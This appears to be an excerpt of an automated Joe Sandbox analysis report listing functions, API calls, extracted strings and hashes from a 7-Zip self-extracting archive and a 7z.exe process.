Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: TextWindow$Length
String ID: j4@
API String ID: 1006428111-2012685699
Opcode ID: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction ID: 3817dcc93708ae326cc9214659a9c4e7fc7be87bb8e982cfdb796d017d3acd91
Opcode Fuzzy Hash: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction Fuzzy Hash: 89E09239200212AFC2229F19D84486FBBFAEFC4310B00847AF841D33E1CB39DC118B95

Function 0040474E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 0040475C

Strings

Could not allocate memory, xrefs: 00404755
7-Zip SFX, xrefs: 00404750

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction ID: eff6b3f0ce1e45bdfd51bc9acb40b22f926f37b9a8d4657fa527a9dafaf84f3f
Opcode Fuzzy Hash: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction Fuzzy Hash: 5AB012703C130022E21113200C07FC416408B08F13F10C552B108A80D3CBD900D0205D

Analysis Process: 7z.exePID: 5796, Parent PID: 6156COMMON

Executed Functions

Function 00A78817 Relevance: 130.3, APIs: 62, Strings: 12, Instructions: 780COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00A78826
GetStdHandle.KERNEL32 ref: 00A7887D
GetConsoleScreenBufferInfo.KERNELBASE ref: 00A7888E
_CxxThrowException.MSVCRT ref: 00A789BD

Strings

Codecs:, xrefs: 00A7903E
Can't load module: , xrefs: 00A78A04
Formats:, xrefs: 00A78CC7
, xrefs: 00A78FD6
Libs:, xrefs: 00A78C5B
KSNFMGOPBELH, xrefs: 00A78CDC, 00A78D4A
Unsupported archive type, xrefs: 00A78AAD, 00A78BB8
Hashers:, xrefs: 00A792B6
offset=, xrefs: 00A78ECF
|| , xrefs: 00A78F0B
7-Zip cannot find the code that works with archives., xrefs: 00A78A54
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 00A7881F

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: BufferConsoleExceptionHandleInfoScreenThrowfputs
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$ $ || $7-Zip cannot find the code that works with archives.$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$Unsupported archive type$offset=
API String ID: 3442115484-272389550
Opcode ID: afb9cc6d2aba557fd5c28d6c75725cc50b14ac0dfada8b8986538d3579b498c0
Instruction ID: 669a636cd2b25cee2377e80b8a71629d01a09befb0f7fd1fb88f3cdc9d6227cb
Opcode Fuzzy Hash: afb9cc6d2aba557fd5c28d6c75725cc50b14ac0dfada8b8986538d3579b498c0
Instruction Fuzzy Hash: CB727B76308A8186DB34EF25E9943AE7361F789B80F40C126DA9E47B69DF3CC549CB41

Function 00A524C0 Relevance: 102.2, APIs: 81, Instructions: 981COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A526E4
free.MSVCRT ref: 00A526EF
free.MSVCRT ref: 00A5274F
free.MSVCRT ref: 00A5275A
free.MSVCRT ref: 00A527FF
free.MSVCRT ref: 00A52807
free.MSVCRT ref: 00A52818
free.MSVCRT ref: 00A52826
free.MSVCRT ref: 00A52831
free.MSVCRT ref: 00A52869
free.MSVCRT ref: 00A52871
free.MSVCRT ref: 00A52882
free.MSVCRT ref: 00A52951
free.MSVCRT ref: 00A5295C
free.MSVCRT ref: 00A52A36
free.MSVCRT ref: 00A52A3E
free.MSVCRT ref: 00A52A52
free.MSVCRT ref: 00A52A6C
free.MSVCRT ref: 00A52A77
free.MSVCRT ref: 00A52B8F
free.MSVCRT ref: 00A52B97
free.MSVCRT ref: 00A52BA8
free.MSVCRT ref: 00A52BB6
free.MSVCRT ref: 00A52BC1
free.MSVCRT ref: 00A52C12
free.MSVCRT ref: 00A52C1D
free.MSVCRT ref: 00A52C30
free.MSVCRT ref: 00A52C3B
free.MSVCRT ref: 00A52C4E
free.MSVCRT ref: 00A52C59
free.MSVCRT ref: 00A52C6C
free.MSVCRT ref: 00A52C77
free.MSVCRT ref: 00A52CA7
free.MSVCRT ref: 00A52CAF
free.MSVCRT ref: 00A52CBB
free.MSVCRT ref: 00A52CC9
free.MSVCRT ref: 00A52CD4
free.MSVCRT ref: 00A52D10
free.MSVCRT ref: 00A52D18
free.MSVCRT ref: 00A52D29
free.MSVCRT ref: 00A52D37
free.MSVCRT ref: 00A52D42
free.MSVCRT ref: 00A52E6E
free.MSVCRT ref: 00A52E79
free.MSVCRT ref: 00A52EA6
free.MSVCRT ref: 00A52EB1
free.MSVCRT ref: 00A52F03
free.MSVCRT ref: 00A52F0E
free.MSVCRT ref: 00A52F97
free.MSVCRT ref: 00A52F9F
free.MSVCRT ref: 00A52FAD
free.MSVCRT ref: 00A52FC2
free.MSVCRT ref: 00A52FCD
free.MSVCRT ref: 00A5300C
free.MSVCRT ref: 00A53017
free.MSVCRT ref: 00A53027
free.MSVCRT ref: 00A53032
free.MSVCRT ref: 00A53042
free.MSVCRT ref: 00A5304D
free.MSVCRT ref: 00A5305E
free.MSVCRT ref: 00A531EB
free.MSVCRT ref: 00A531F6
free.MSVCRT ref: 00A5321C
free.MSVCRT ref: 00A53227

Part of subcall function 00A32130: malloc.MSVCRT ref: 00A32134
Part of subcall function 00A32130: _CxxThrowException.MSVCRT ref: 00A3214F

free.MSVCRT ref: 00A5325A
free.MSVCRT ref: 00A53262

Part of subcall function 00A33314: memmove.MSVCRT ref: 00A33339

free.MSVCRT ref: 00A53270
free.MSVCRT ref: 00A5329E
free.MSVCRT ref: 00A532A6
free.MSVCRT ref: 00A532D9
free.MSVCRT ref: 00A532E1
free.MSVCRT ref: 00A532F1
free.MSVCRT ref: 00A533E5
free.MSVCRT ref: 00A53445
free.MSVCRT ref: 00A53455
free.MSVCRT ref: 00A53464
free.MSVCRT ref: 00A53472
free.MSVCRT ref: 00A53490
free.MSVCRT ref: 00A5349E
free.MSVCRT ref: 00A534BC
free.MSVCRT ref: 00A534CA

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
Instruction ID: 8b71aa4beeda5ed0acf1f0d930f086af6a1b4a6c4d22e9db200e6a4cccdb599e
Opcode Fuzzy Hash: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
Instruction Fuzzy Hash: D3825E32618B8086CA30EF25E6913AEB360F7D6B91F544126EF8D57B59DF78C949CB00

Function 00A547AC Relevance: 86.1, APIs: 56, Strings: 1, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A33314: memmove.MSVCRT ref: 00A33339

free.MSVCRT ref: 00A548E0
free.MSVCRT ref: 00A548EE
free.MSVCRT ref: 00A549B8
free.MSVCRT ref: 00A549F1
free.MSVCRT ref: 00A549FF
free.MSVCRT ref: 00A54A0D
free.MSVCRT ref: 00A54A18
free.MSVCRT ref: 00A54A47
free.MSVCRT ref: 00A54A4F
free.MSVCRT ref: 00A54A5D
free.MSVCRT ref: 00A55052

Part of subcall function 00A33404: free.MSVCRT ref: 00A33431
Part of subcall function 00A33404: memmove.MSVCRT ref: 00A3344C

free.MSVCRT ref: 00A54C20
free.MSVCRT ref: 00A54C2E
free.MSVCRT ref: 00A54C3C
free.MSVCRT ref: 00A54C47
free.MSVCRT ref: 00A54C79
free.MSVCRT ref: 00A54C81
free.MSVCRT ref: 00A54C90
free.MSVCRT ref: 00A54CB3
free.MSVCRT ref: 00A54CC1
free.MSVCRT ref: 00A54CCF
free.MSVCRT ref: 00A54CDA
free.MSVCRT ref: 00A54D0C
free.MSVCRT ref: 00A54D14
free.MSVCRT ref: 00A54D23
free.MSVCRT ref: 00A54D76
free.MSVCRT ref: 00A54D84
free.MSVCRT ref: 00A54D92
free.MSVCRT ref: 00A54D9D
free.MSVCRT ref: 00A54DCC
free.MSVCRT ref: 00A54DD4
free.MSVCRT ref: 00A54DE3
GetLastError.KERNEL32 ref: 00A54E70
free.MSVCRT ref: 00A54EB2
free.MSVCRT ref: 00A54EC0
free.MSVCRT ref: 00A54ECE
free.MSVCRT ref: 00A54ED9
free.MSVCRT ref: 00A54F08
free.MSVCRT ref: 00A54F10
free.MSVCRT ref: 00A54F1F
free.MSVCRT ref: 00A54FD5
free.MSVCRT ref: 00A54FE3
free.MSVCRT ref: 00A54FF1
free.MSVCRT ref: 00A54FFC
free.MSVCRT ref: 00A5502B
free.MSVCRT ref: 00A55033
free.MSVCRT ref: 00A55042
_CxxThrowException.MSVCRT ref: 00A5510C
free.MSVCRT ref: 00A551B9
free.MSVCRT ref: 00A551C7
free.MSVCRT ref: 00A551D5
free.MSVCRT ref: 00A551E0
free.MSVCRT ref: 00A5520F
free.MSVCRT ref: 00A55217
free.MSVCRT ref: 00A55226
free.MSVCRT ref: 00A55234

Strings

Can not create output directory: , xrefs: 00A54E83

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$memmove$ErrorExceptionLastThrow
String ID: Can not create output directory:
API String ID: 4159955631-3123869724
Opcode ID: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
Instruction ID: 1840de9260962593aa0e39bd2916640bb1ad10818748197a8e51284d11827e3b
Opcode Fuzzy Hash: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
Instruction Fuzzy Hash: 7E427033619AC096CA30EF25E6903AEA361F7CA785F545212EF8D47B59DF38C959CB00

Function 00A55458 Relevance: 74.2, APIs: 47, Strings: 2, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00A5558E
_CxxThrowException.MSVCRT ref: 00A555C2
_CxxThrowException.MSVCRT ref: 00A555E6
memset.MSVCRT ref: 00A5561F
free.MSVCRT ref: 00A556F2
free.MSVCRT ref: 00A55F84

Strings

can't decompress folder, xrefs: 00A555C8
there is no such archive, xrefs: 00A555A4, 00A55EF9

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$ExceptionThrow$memset
String ID: can't decompress folder$there is no such archive
API String ID: 4182836161-2069749860
Opcode ID: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
Instruction ID: d26abd3a7400ae8ccdeb7c8ef1432831ed6df230ff0a994755fe3d0b57b3e607
Opcode Fuzzy Hash: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
Instruction Fuzzy Hash: A6525C33619AC086CA20DF35E5943AEB760F78AB95F545212EF9D53B29DF38C859CB00

Function 00A5F13E Relevance: 59.4, APIs: 47, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
Instruction ID: a56db4137917ff2efb92754a237b617ad51cf6d411ff9b17dd531c850ab7d459
Opcode Fuzzy Hash: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
Instruction Fuzzy Hash: B0424E36209A808ACB24DB25E1907AF7775F386B89F555115EF4E47B19DF39C48DC700

Function 00A40DCC Relevance: 51.4, APIs: 17, Strings: 12, Instructions: 652COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00A40E15
free.MSVCRT ref: 00A40E4E
_CxxThrowException.MSVCRT ref: 00A40E7A
free.MSVCRT ref: 00A40EBD
wcscmp.MSVCRT ref: 00A40F33
_CxxThrowException.MSVCRT ref: 00A40F9B
_CxxThrowException.MSVCRT ref: 00A4112A
_CxxThrowException.MSVCRT ref: 00A413AC
_CxxThrowException.MSVCRT ref: 00A414D3
_CxxThrowException.MSVCRT ref: 00A415E3
_CxxThrowException.MSVCRT ref: 00A41730
_CxxThrowException.MSVCRT ref: 00A41761
_CxxThrowException.MSVCRT ref: 00A417A2
_CxxThrowException.MSVCRT ref: 00A41801
_CxxThrowException.MSVCRT ref: 00A4186B
_CxxThrowException.MSVCRT ref: 00A41171

Part of subcall function 00A363D0: free.MSVCRT ref: 00A36440
Part of subcall function 00A363D0: free.MSVCRT ref: 00A36448

_CxxThrowException.MSVCRT ref: 00A418F2

Strings

stdout mode and email mode cannot be combined, xrefs: 00A41710
Cannot find archive name, xrefs: 00A4110A
Unsupported command:, xrefs: 00A40E57
Unsupported -spf:, xrefs: 00A40F7E
I won't write data and program's messages to same stream, xrefs: 00A414B3, 00A41782
Archive name cannot by empty, xrefs: 00A41151
I won't write compressed data to a terminal, xrefs: 00A41741
-ai switch is not supported for this command, xrefs: 00A415C3
Cannot use absolute pathnames for this command, xrefs: 00A4138C
The command must be specified, xrefs: 00A40DF5
Only one archive can be created with rename command, xrefs: 00A417E1
Incorrect Number of benmchmark iterations, xrefs: 00A41847

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: ExceptionThrow$free$wcscmp
String ID: -ai switch is not supported for this command$Archive name cannot by empty$Cannot find archive name$Cannot use absolute pathnames for this command$I won't write compressed data to a terminal$I won't write data and program's messages to same stream$Incorrect Number of benmchmark iterations$Only one archive can be created with rename command$The command must be specified$Unsupported -spf:$Unsupported command:$stdout mode and email mode cannot be combined
API String ID: 1252877886-1892825451
Opcode ID: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction ID: b765e856e6ebd4180646d1e9bd898c294a712e2f7bca33c7cb85fd7fad6a48af
Opcode Fuzzy Hash: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction Fuzzy Hash: 7D52E17B3087C1A7DB28CF28D1907EEBB61F395784F888016DB9947A12DB78D5A8C701

Function 00A3AC74 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00A3AC84
OpenProcessToken.ADVAPI32 ref: 00A3AC95
LookupPrivilegeValueW.ADVAPI32 ref: 00A3ACA9
AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?,?,FFFFFFFF,?,00A3F928), ref: 00A3ACE0
GetLastError.KERNEL32(?,?,?,?,?,?,?,FFFFFFFF,?,00A3F928), ref: 00A3ACEA
CloseHandle.KERNELBASE ref: 00A3ACFA

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction ID: 56fb1a5a4af70c8be31ebade2c586e5c89e1198611d21b9364ea5d8f984f9b81
Opcode Fuzzy Hash: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction Fuzzy Hash: AE0140627187818BDB108FA4FC8479A7361F785B85F549136EB8A82A54DF3CC58ACB01

Function 00A37978 Relevance: 4.6, APIs: 3, Instructions: 70fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A3794C: FindClose.KERNELBASE ref: 00A3795E

FindFirstFileW.KERNELBASE ref: 00A379BA

Part of subcall function 00A3339C: free.MSVCRT ref: 00A333D7
Part of subcall function 00A3339C: memmove.MSVCRT(00000000,?,?,00000000,00A310A8), ref: 00A333F2

FindFirstFileW.KERNELBASE ref: 00A379FA
free.MSVCRT ref: 00A37A08

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: Find$FileFirstfree$Closememmove
String ID:
API String ID: 2921071498-0
Opcode ID: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction ID: 3d414311c5f5d2ce67fb4e77688415a81c11eca5e30e8ff0e27b8c4c1168f323
Opcode Fuzzy Hash: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction Fuzzy Hash: 78210C77608B808ADB21DF24E9403AD6361F78A7B8F548311FAA9477D9DF38CA09C741

Function 00A44418 Relevance: 219.6, APIs: 132, Strings: 13, Instructions: 2096COMMON

Download Yara Rule

Strings

Can not delete output folder, xrefs: 00A45A0E
Can not seek to begin of file, xrefs: 00A4642F
Can not set length for output file, xrefs: 00A463C0
Can not open output file, xrefs: 00A462D7
\??\, xrefs: 00A4485F
Internal error for symbolic link file, xrefs: 00A45EFB
Can not create hard link, xrefs: 00A45E04, 00A461B7
Can not create file with auto name, xrefs: 00A45796, 00A45867
Dangerous link path was ignored, xrefs: 00A45CC1
Can not rename existing file, xrefs: 00A4592F
Can not delete output file, xrefs: 00A45AD5
Incorrect path, xrefs: 00A45D6E
Can not create symbolic link, xrefs: 00A45FAB

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID:
String ID: Can not create file with auto name$Can not create hard link$Can not create symbolic link$Can not delete output file$Can not delete output folder$Can not open output file$Can not rename existing file$Can not seek to begin of file$Can not set length for output file$Dangerous link path was ignored$Incorrect path$Internal error for symbolic link file$\??\
API String ID: 0-2438533581
Opcode ID: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
Instruction ID: e5f0bcbaf3c526c6f5e37e13d9e0ef2a0575a6d5b2465057b0c3d2f4fafcef5e
Opcode Fuzzy Hash: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
Instruction Fuzzy Hash: C8037036248AC082CA34EB25E5907AEF761F7C6BC0F554112EB9E47B25DF79C989CB01

Function 00A7950D Relevance: 116.2, APIs: 48, Strings: 18, Instructions: 748
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00A797B9
free.MSVCRT ref: 00A797C1
free.MSVCRT ref: 00A797D3
free.MSVCRT ref: 00A797E0
free.MSVCRT ref: 00A797EE
free.MSVCRT ref: 00A79809
free.MSVCRT ref: 00A7996E
free.MSVCRT ref: 00A79976
free.MSVCRT ref: 00A79988
free.MSVCRT ref: 00A79995
free.MSVCRT ref: 00A799A3
free.MSVCRT ref: 00A799C0
free.MSVCRT ref: 00A799CD
fputs.MSVCRT ref: 00A79A02
fputs.MSVCRT ref: 00A79A12
_CxxThrowException.MSVCRT ref: 00A79A3A

Part of subcall function 00A32300: fputc.MSVCRT ref: 00A32311

_CxxThrowException.MSVCRT ref: 00A7A5E1
free.MSVCRT ref: 00A7A5EF
free.MSVCRT ref: 00A7A61C
free.MSVCRT ref: 00A7A62E
free.MSVCRT ref: 00A7A696
free.MSVCRT ref: 00A7A69E
free.MSVCRT ref: 00A7A6B0

Part of subcall function 00A33518: free.MSVCRT ref: 00A33551

Strings

Incorrect command line, xrefs: 00A79A0B
Files: , xrefs: 00A7A1F6
Sub items Errors: , xrefs: 00A7A2FB
Can't open as archive: , xrefs: 00A7A03F
Size: , xrefs: 00A7A278
ERROR: , xrefs: 00A799FB
Archives: , xrefs: 00A79FE1
7zCon.sfx, xrefs: 00A79543
Archives with Warnings: , xrefs: 00A7A0AF
ERROR:, xrefs: 00A79F89
Open Errors: , xrefs: 00A7A138
Alternate Streams: , xrefs: 00A7A228
Archives with Errors: , xrefs: 00A7A07A
Warnings: , xrefs: 00A7A0F0
Folders: , xrefs: 00A7A1A8
Alternate Streams Size: , xrefs: 00A7A250
OK archives: , xrefs: 00A7A008
Compressed: , xrefs: 00A7A2A3

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs$fputc
String ID: 7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$ERROR: $Files: $Folders: $Incorrect command line$OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
API String ID: 1639683984-435538426
Opcode ID: 0bba5815698ffe19a5e1efa49293ddbd27b3fdb07db2a727c2502226ce748b33
Instruction ID: 2bfac058230d557ff6562d74a003ef7662a69be5cae390522cab6ed28661de19
Opcode Fuzzy Hash: 0bba5815698ffe19a5e1efa49293ddbd27b3fdb07db2a727c2502226ce748b33
Instruction Fuzzy Hash: 9C725A72309AC095DA34EF25E9903DEB3A0F796B80F44C526EA9E47B19DF38C555CB02

Function 00A79B5D Relevance: 84.5, APIs: 33, Strings: 15, Instructions: 507
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00A79B6B

Part of subcall function 00A32300: fputc.MSVCRT ref: 00A32311

free.MSVCRT ref: 00A79C12

Strings

Files: , xrefs: 00A7A1F6
Can't open as archive: , xrefs: 00A7A03F
Size: , xrefs: 00A7A278
Archives: , xrefs: 00A79FE1
Archives with Warnings: , xrefs: 00A7A0AF
ERROR:, xrefs: 00A79F89
Open Errors: , xrefs: 00A7A138
Alternate Streams: , xrefs: 00A7A228
Archives with Errors: , xrefs: 00A7A07A
Scanning the drive for archives:, xrefs: 00A79B64
Warnings: , xrefs: 00A7A0F0
Folders: , xrefs: 00A7A1A8
Alternate Streams Size: , xrefs: 00A7A250
OK archives: , xrefs: 00A7A008
Compressed: , xrefs: 00A7A2A3

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: fputcfputsfree
